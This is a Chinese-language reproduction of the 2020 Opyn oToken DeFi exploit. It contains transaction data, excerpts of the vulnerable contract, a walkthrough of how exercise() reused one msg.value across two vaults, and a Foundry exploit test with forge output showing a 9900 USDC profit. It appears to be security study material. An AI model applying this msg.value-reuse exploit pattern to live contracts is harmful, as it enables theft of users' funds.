defi 攻击复现 Opyn
- 涉及到的交易和地址
攻击发生的交易 https://etherscan.io/tx/0x56de6c4bd906ee0c067a332e64966db8b1e866c7965c044163a503de6ee6552a
USDC (USDC) 合约地址 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48
攻击合约地址 0xe7870231992Ab4b1A01814FA0A599115FE94203f
受害者 oToken 合约地址 0x951D51bAeFb72319d9FBE941E1615938d89ABfe2
- 可视化
- 交易详情
Transaction Hash:0x56de6c4bd906ee0c067a332e64966db8b1e866c7965c044163a503de6ee6552a
Status:Success
Block:10592517
Timestamp:1853 days ago (Aug-04-2020 09:41:56 AM UTC)
From:0x915C2D6f571d3d47A182Dd59D5F41e87d4c3fb8E
Interacted With (To):0xe7870231992Ab4b1A01814FA0A599115FE94203f
Internal Transactions:
Transfer30 ETH $133,759.49 From 0xe7870231...5FE94203f To 0x951D51bA...8d89ABfe2
Transfer30 ETH $133,759.49 From 0x951D51bA...8d89ABfe2 To 0xe7870231...5FE94203f
ERC-20 Tokens Transferred: 6
From 0xe7870231...5FE94203f To 0x951D51bA...8d89ABfe2 For 9,900 $9,898.05 USDC (USDC)
From Null: 0x000...000 To 0xe7870231...5FE94203f For 30 ERC20 ***
From 0xe7870231...5FE94203f To Null: 0x000...000 For 30 ERC20 ***
From 0x951D51bA...8d89ABfe2 To 0xe7870231...5FE94203f For 9,900 $9,898.05 USDC (USDC)
From 0xe7870231...5FE94203f To Null: 0x000...000 For30 ERC20 ***
From 0x951D51bA...8d89ABfe2 To 0xe7870231...5FE94203f For 9,900 $9,898.05 USDC (USDC)
Input Data:
0xfad517ac00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000100000000000000000000000001bdb7ada61c82e951b9ed9f0d312dc9af0ba0f200000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000011e1a300
- oToken 合约源码
oToken 合约源码
contracts/oToken.sol
line 1084-1183
/**
* @title Opyn's Options Contract
* @author Opyn
*/
contract OptionsContract is Ownable, ERC20 {
...
// Keeps track of the weighted collateral and weighted debt for each vault.
struct Vault {
uint256 collateral;
uint256 oTokensIssued;
uint256 underlying;
bool owned;
}
OptionsExchange public optionsExchange;
mapping(address => Vault) internal vaults;
address payable[] internal vaultOwners;
...
// The time of expiry of the options contract
uint256 public expiry;
...
// The collateral asset
IERC20 public collateral;
// The asset being protected by the insurance
IERC20 public underlying;
// The asset in which insurance is denominated in.
IERC20 public strike;
...
line 1379-1399
/**
* @notice Checks if a `owner` has already created a Vault
* @param owner The address of the supposed owner
* @return true or false
*/
function hasVault(address payable owner) public view returns (bool) {
return vaults[owner].owned;
}
/**
* @notice Creates a new empty Vault and sets the owner of the vault to be the msg.sender.
*/
function openVault() public notExpired returns (bool) {
require(!hasVault(msg.sender), "Vault already created");
vaults[msg.sender] = Vault(0, 0, 0, true);
vaultOwners.push(msg.sender);
emit VaultOpened(msg.sender);
return true;
}
...
line 1426-1453
/**
* @notice If the collateral type is any ERC20, anyone can call this function any time before
* expiry to increase the amount of collateral in a Vault. Can only transfer in the collateral asset.
* Will fail if ETH is the collateral asset.
* The user has to allow the contract to handle their ERC20 tokens on his behalf before these
* functions are called.
* Remember that adding ERC20 collateral even if no oTokens have been created can put the owner at a
* risk of losing the collateral. Ensure that you issue and immediately sell the oTokens!
* (Either call the createAndSell function in the oToken contract or batch the
* addERC20Collateral, issueOTokens and sell transactions and ensure they happen atomically to protect
* the end user).
* @param vaultOwner the index of the Vault to which collateral will be added.
* @param amt the amount of collateral to be transferred in.
*/
function addERC20Collateral(address payable vaultOwner, uint256 amt)
public
notExpired
returns (uint256)
{
require(
collateral.transferFrom(msg.sender, address(this), amt),
"Could not transfer in collateral tokens"
);
require(hasVault(vaultOwner), "Vault does not exist");
emit ERC20CollateralAdded(vaultOwner, amt, msg.sender);
return _addCollateral(vaultOwner, amt);
}
line 1484-1520
/**
* @notice Called by anyone holding the oTokens and underlying during the
* exercise window i.e. from `expiry - windowSize` time to `expiry` time. The caller
* transfers in their oTokens and corresponding amount of underlying and gets
* `strikePrice * oTokens` amount of collateral out. The collateral paid out is taken from
* the each vault owner starting with the first and iterating until the oTokens to exercise
* are found.
* NOTE: This uses a for loop and hence could run out of gas if the array passed in is too big!
* @param oTokensToExercise the number of oTokens being exercised.
* @param vaultsToExerciseFrom the array of vaults to exercise from.
*/
function exercise(
uint256 oTokensToExercise,
address payable[] memory vaultsToExerciseFrom
) public payable {
for (uint256 i = 0; i < vaultsToExerciseFrom.length; i++) {
address payable vaultOwner = vaultsToExerciseFrom[i];
require(
hasVault(vaultOwner),
"Cannot exercise from a vault that doesn't exist"
);
Vault storage vault = vaults[vaultOwner];
if (oTokensToExercise == 0) {
return;
} else if (vault.oTokensIssued >= oTokensToExercise) {
_exercise(oTokensToExercise, vaultOwner);
return;
} else {
oTokensToExercise = oTokensToExercise.sub(vault.oTokensIssued);
_exercise(vault.oTokensIssued, vaultOwner);
}
}
require(
oTokensToExercise == 0,
"Specified vaults have insufficient collateral"
);
}
line 1539-1569
/**
* @notice This function is called to issue the option tokens. Remember that issuing oTokens even if they
* haven't been sold can put the owner at a risk of not making premiums on the oTokens. Ensure that you
* issue and immidiately sell the oTokens! (Either call the createAndSell function in the oToken contract
* of batch the issueOTokens transaction with a sell transaction and ensure it happens atomically).
* @dev The owner of a Vault should only be able to have a max of
* repo.collateral * collateralToStrike / (minminCollateralizationRatio * strikePrice) tokens issued.
* @param oTokensToIssue The number of o tokens to issue
* @param receiver The address to send the oTokens to
*/
function issueOTokens(uint256 oTokensToIssue, address receiver)
public
notExpired
{
//check that we're properly collateralized to mint this number, then call _mint(address account, uint256 amount)
require(hasVault(msg.sender), "Vault does not exist");
Vault storage vault = vaults[msg.sender];
// checks that the vault is sufficiently collateralized
uint256 newOTokensBalance = vault.oTokensIssued.add(oTokensToIssue);
require(isSafe(vault.collateral, newOTokensBalance), "unsafe to mint");
// issue the oTokens
vault.oTokensIssued = newOTokensBalance;
_mint(receiver, oTokensToIssue);
emit IssuedOTokens(receiver, oTokensToIssue, msg.sender);
return;
}
line 1570-1586
/**
* @notice Returns the vault for a given address
* @param vaultOwner the owner of the Vault to return
*/
function getVault(address payable vaultOwner)
public
view
returns (uint256, uint256, uint256, bool)
{
Vault storage vault = vaults[vaultOwner];
return (
vault.collateral,
vault.oTokensIssued,
vault.underlying,
vault.owned
);
}
line 1784-1806
/**
* @notice This function calculates and returns the amount of collateral in the vault
*/
function getCollateral(address payable vaultOwner)
internal
view
returns (uint256)
{
Vault storage vault = vaults[vaultOwner];
return vault.collateral;
}
/**
* @notice This function calculates and returns the amount of puts issued by the Vault
*/
function getOTokensIssued(address payable vaultOwner)
internal
view
returns (uint256)
{
Vault storage vault = vaults[vaultOwner];
return vault.oTokensIssued;
}
line 1808-1903
/**
* @notice Called by anyone holding the oTokens and underlying during the
* exercise window i.e. from `expiry - windowSize` time to `expiry` time. The caller
* transfers in their oTokens and corresponding amount of underlying and gets
* `strikePrice * oTokens` amount of collateral out. The collateral paid out is taken from
* the specified vault holder. At the end of the expiry window, the vault holder can redeem their balance
* of collateral. The vault owner can withdraw their underlying at any time.
* The user has to allow the contract to handle their oTokens and underlying on his behalf before these functions are called.
* @param oTokensToExercise the number of oTokens being exercised.
* @param vaultToExerciseFrom the address of the vaultOwner to take collateral from.
* @dev oTokenExchangeRate is the number of underlying tokens that 1 oToken protects.
*/
function _exercise(
uint256 oTokensToExercise,
address payable vaultToExerciseFrom
) internal {
// 1. before exercise window: revert
require(
isExerciseWindow(),
"Can't exercise outside of the exercise window"
);
require(hasVault(vaultToExerciseFrom), "Vault does not exist");
Vault storage vault = vaults[vaultToExerciseFrom];
require(oTokensToExercise > 0, "Can't exercise 0 oTokens");
// Check correct amount of oTokens passed in)
require(
oTokensToExercise <= vault.oTokensIssued,
"Can't exercise more oTokens than the owner has"
);
// Ensure person calling has enough oTokens
require(
balanceOf(msg.sender) >= oTokensToExercise,
"Not enough oTokens"
);
// 1. Check sufficient underlying
// 1.1 update underlying balances
uint256 amtUnderlyingToPay = underlyingRequiredToExercise(
oTokensToExercise
);
vault.underlying = vault.underlying.add(amtUnderlyingToPay);
// 2. Calculate Collateral to pay
// 2.1 Payout enough collateral to get (strikePrice * oTokens) amount of collateral
uint256 amtCollateralToPay = calculateCollateralToPay(
oTokensToExercise,
Number(1, 0)
);
// 2.2 Take a small fee on every exercise
uint256 amtFee = calculateCollateralToPay(
oTokensToExercise,
transactionFee
);
totalFee = totalFee.add(amtFee);
uint256 totalCollateralToPay = amtCollateralToPay.add(amtFee);
require(
totalCollateralToPay <= vault.collateral,
"Vault underwater, can't exercise"
);
// 3. Update collateral + oToken balances
vault.collateral = vault.collateral.sub(totalCollateralToPay);
vault.oTokensIssued = vault.oTokensIssued.sub(oTokensToExercise);
// 4. Transfer in underlying, burn oTokens + pay out collateral
// 4.1 Transfer in underlying
if (isETH(underlying)) {
require(msg.value == amtUnderlyingToPay, "Incorrect msg.value");
} else {
require(
underlying.transferFrom(
msg.sender,
address(this),
amtUnderlyingToPay
),
"Could not transfer in tokens"
);
}
// 4.2 burn oTokens
_burn(msg.sender, oTokensToExercise);
// 4.3 Pay out collateral
transferCollateral(msg.sender, amtCollateralToPay);
emit Exercise(
amtUnderlyingToPay,
amtCollateralToPay,
msg.sender,
vaultToExerciseFrom
);
}
line 1905-1919
/**
* @notice adds `_amt` collateral to `vaultOwner` and returns the new balance of the vault
* @param vaultOwner the index of the vault
* @param amt the amount of collateral to add
*/
function _addCollateral(address payable vaultOwner, uint256 amt)
internal
notExpired
returns (uint256)
{
Vault storage vault = vaults[vaultOwner];
vault.collateral = vault.collateral.add(amt);
return vault.collateral;
}
line 1921-1926
/**
* @notice checks if a hypothetical vault is safe with the given collateralAmt and oTokensIssued
* @param collateralAmt The amount of collateral the hypothetical vault has
* @param oTokensIssued The amount of oTokens generated by the hypothetical vault
* @return true or false
*/
line 2098-2186
/**
* @title Opyn's Options Contract
* @author Opyn
*/
contract oToken is OptionsContract {
/**
* @param _collateral The collateral asset
* @param _collExp The precision of the collateral (-18 if ETH)
* @param _underlying The asset that is being protected
* @param _underlyingExp The precision of the underlying asset
* @param _oTokenExchangeExp The precision of the `amount of underlying` that 1 oToken protects
* @param _strikePrice The amount of strike asset that will be paid out
* @param _strikeExp The precision of the strike asset (-18 if ETH)
* @param _strike The asset in which the insurance is calculated
* @param _expiry The time at which the insurance expires
* @param _optionsExchange The contract which interfaces with the exchange + oracle
* @param _oracleAddress The address of the oracle
* @param _windowSize UNIX time. Exercise window is from `expiry - _windowSize` to `expiry`.
*/
constructor(
IERC20 _collateral,
int32 _collExp,
IERC20 _underlying,
int32 _underlyingExp,
int32 _oTokenExchangeExp,
uint256 _strikePrice,
int32 _strikeExp,
IERC20 _strike,
uint256 _expiry,
OptionsExchange _optionsExchange,
address _oracleAddress,
uint256 _windowSize
)
...
/**
* @notice adds ETH collateral, and mints new oTokens in one step to an existing Vault
* Remember that creating oTokens can put the owner at a risk of losing the collateral
* if an exercise event happens.
* The sell function provides the owner a chance to earn premiums.
* Ensure that you create and immediately sell oTokens atmoically.
* @param amtToCreate number of oTokens to create
* @param receiver address to send the Options to
*/
function addETHCollateralOption(uint256 amtToCreate, address receiver)
public
payable
{
addETHCollateral(msg.sender);
issueOTokens(amtToCreate, receiver);
}
line 2228-2264
/**
* @notice opens a Vault, adds ERC20 collateral, and mints new oTokens in one step
* Remember that creating oTokens can put the owner at a risk of losing the collateral
* if an exercise event happens.
* The sell function provides the owner a chance to earn premiums.
* Ensure that you create and immediately sell oTokens atmoically.
* @param amtToCreate number of oTokens to create
* @param amtCollateral amount of collateral added
* @param receiver address to send the Options to
*/
function createERC20CollateralOption(
uint256 amtToCreate,
uint256 amtCollateral,
address receiver
) external {
openVault();
addERC20CollateralOption(amtToCreate, amtCollateral, receiver);
}
/**
* @notice adds ERC20 collateral, and mints new oTokens in one step
* Remember that creating oTokens can put the owner at a risk of losing the collateral
* if an exercise event happens.
* The sell function provides the owner a chance to earn premiums.
* Ensure that you create and immediately sell oTokens atmoically.
* @param amtToCreate number of oTokens to create
* @param amtCollateral amount of collateral added
* @param receiver address to send the Options to
*/
function addERC20CollateralOption(
uint256 amtToCreate,
uint256 amtCollateral,
address receiver
) public {
addERC20Collateral(msg.sender, amtCollateral);
issueOTokens(amtToCreate, receiver);
}
- 交易过程
step1
oToken 合约.addERC20CollateralOption 函数
传入参数:创建的 oToken 数量=30 oETH,抵押物数量=9900 USDC, oToken 接收者=攻击者
内部 addERC20Collateral(msg.sender, amtCollateral) 函数
传入参数:保险库所有者=消息发送者,保险库内该所有者抵押物数量=本次添加的数量 addERC20Collateral
内部检查[抵押物是否已经从 msg.sender 转移到当前合约],内部 _addCollateral(vaultOwner, amt)函数
传入参数:保险库所有者=消息发送者,本次添加的数量
oToken 合约.addERC20CollateralOption 函数
内部 issueOTokens(amtToCreate, receiver) 函数
传入参数:签发的 oToken 数量=创建的 oToken 数量=30 oETH, oToken 接收者=攻击者 issueOTokens(amtToCreate, receiver) 内部 _mint(receiver, oTokensToIssue) 函数
传入参数:oToken 接收者=攻击者,签发的 oToken 数量=创建的 oToken 数量=30 oETH
执行结果:
攻击者[消息发送者]向 oToken 合约转移 9900 USDC 作为抵押物;攻击者[消息发送者]获得 oToken 合约签发的 30 oETH
step2
oToken 合约.exercise 函数
传入参数:行权的 oToken 数量=60 oETH,准备行权的保险库地址数组=[攻击者,0x01bdb7ada61c82e951b9ed9f0d312dc9af0ba0f2],以及[msg.value]=30 ETH
内部 _exercise(oTokensToExercise, vaultOwner) 函数
传入参数:同 exercise 函数
函数体:检查[行权窗口期],通过;检查[准备行权的保险库地址数组 是否已经建立了保险库],通过;检查[保险库内的已签发 oToken 数量 与 准备行权的 oToken 数量 关系],通过;检查[基础资产是否充足,由传入的 准备行权的 oToken 数量计算得出 需要支付的基础资产数量];计算[需要支付的抵押物数量];更新[抵押物余额和 oToken 余额];转移基础资产+销毁 oToken +支付抵押物
在[转移基础资产+销毁 oToken +支付抵押物]环节:检查[基础资产是否为 ETH ];如果[是],检查[msg.value 是否等于 需要支付的基础资产数量]。实际传入的就是 ETH[因为msg.value =30 ETH],所以 if 语句成立;下一步就是销毁[准备行权的 oToken ]以及[向 msg.sender 转移抵押物];释放[行权]事件[需要支付的基础资产数量=30 ETH,需要支付的抵押物=9900 USDC,行权人=攻击者,准备行权的保险库地址=攻击者]
[攻击者]作为[准备行权的保险库地址]执行完毕,但 oToken 合约.exercise 函数并未结束,因为传入的[准备行权的保险库地址]是数组,共两个地址,第一个是[攻击者];第二个是[0x01bdb7ada61c82e951b9ed9f0d312dc9af0ba0f2]
于是对该地址执行 exercise 函数逻辑,传入参数都一样
执行结果:
[准备行权的保险库地址数组]第一个元素也就是[攻击者] oToken 合约销毁[攻击者的 30 oETH];然后[把抵押物转移给 msg.sender 也就是 攻击者,转移数量 9900 USDC]
[准备行权的保险库地址数组]第一个元素也就是[0x01bdb7ada61c82e951b9ed9f0d312dc9af0ba0f2] oToken 合约销毁[攻击者的 30 oETH];然后[把抵押物转移给 msg.sender 也就是 攻击者,转移数量 9900 USDC]
攻击者输入的 oTokensToExercise 为 60 oETH,所以合约在验证了第二个地址符合条件的情况下,依旧会将余额转给 msg.sender,也就是攻击者。这就使得攻击者可以获得两次 9900 USDC,从而获得利润
- EXP
https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-08/Opyn_exp.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;
import "forge-std/Test.sol";
import "./interface.sol";
/*
@Analysis
https://medium.com/opyn/opyn-eth-put-exploit-post-mortem-1a009e3347a8
@Transaction
0x56de6c4bd906ee0c067a332e64966db8b1e866c7965c044163a503de6ee6552a*/
// 攻击合约
contract ContractTest is Test {
IOpyn opyn = IOpyn(0x951D51bAeFb72319d9FBE941E1615938d89ABfe2);// oToken 合约地址,定义为接口实例,便可使用其函数
address attacker = 0xe7870231992Ab4b1A01814FA0A599115FE94203f;// 攻击者地址
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);// 按照 foundry 说明文档,通过使用作弊码地址(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)来提供作弊码
IUSDC usdc = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);// USDC 合约地址,定义为接口实例,便可使用其函数
function setUp() public {
cheats.createSelectFork("mainnet", 10_592_516); // 分叉攻击发生的前一区块,因为攻击发生在 10592517
}
function test_attack() public {
cheats.startPrank(attacker);// 按照 foundry 说明文档,startPrank 函数设置 attacker 用于所有后续调用,直到调用 stopPrank 为止
uint256 balBefore = usdc.balanceOf(attacker) / 1e6;// 攻击之前的攻击者 USDC 余额
console.log("Attacker USDC balance before is ", balBefore);
console.log("------EXPLOIT-----");
//Adds ERC20 collateral, and mints new oTokens in one step
uint256 amtToCreate = 300_000_000;// 添加抵押物,创建 oToken 数量 30 oETH
uint256 amtCollateral = 9_900_000_000;// 抵押物数量 9900 USDC
opyn.addERC20CollateralOption(amtToCreate, amtCollateral, attacker);// 参数传入 oToken 合约的 addERC20CollateralOption 函数
//create an arry of vaults
address payable[] memory _arr = new address payable[](2);// 构建[准备行权的保险库地址数组],长度为 2
_arr[0] = payable(0xe7870231992Ab4b1A01814FA0A599115FE94203f);// 数组第一个元素[攻击者]
_arr[1] = payable(0x01BDb7Ada61C82E951b9eD9F0d312DC9Af0ba0f2);// 数组第二个元素[0x01BDb7Ada61C82E951b9eD9F0d312DC9Af0ba0f2]
//The attacker excercises the put option on two different valuts using the same msg.value
opyn.exercise{value: 30 ether}(600_000_000, _arr);// 调用 oToken 合约的 exercise 函数,传入参数 oToken 数量 60 oETH,[准备行权的保险库地址数组],同时 msg.value 30 ETH
//remove share of underlying after excercise
opyn.removeUnderlying();// 移除基础资产
uint256 balAfter = usdc.balanceOf(attacker) / 1e6;// 攻击之后的攻击者 USDC 余额
console.log("Attacker USDC balance after is ", balAfter);
console.log("Attacker profit is ", balAfter - balBefore);
}
}
- 使用 forge 命令测试结果
$ forge test Opyn_exp.t.sol -vvv
[?] Compiling...
[?] Compiling 20 files with Solc 0.8.17
[?] Solc 0.8.17 finished in 4.54s
Compiler run successful with warnings:
Ran 1 test for test/Opyn_exp.t.sol:ContractTest
[PASS] test_attack() (gas: 214568)
Logs:
Attacker USDC balance before is 68504
------EXPLOIT-----
Attacker USDC balance after is 78404
Attacker profit is 9900
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.53s (12.36s CPU time)
Ran 1 test suite in 14.55s (14.53s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
- 主要参考文章
https://zhuanlan.zhihu.com/p/170034892
https://www.panewslab.com/zh/articles/D42661729
https://www.jinse.cn/blockchain/777079.html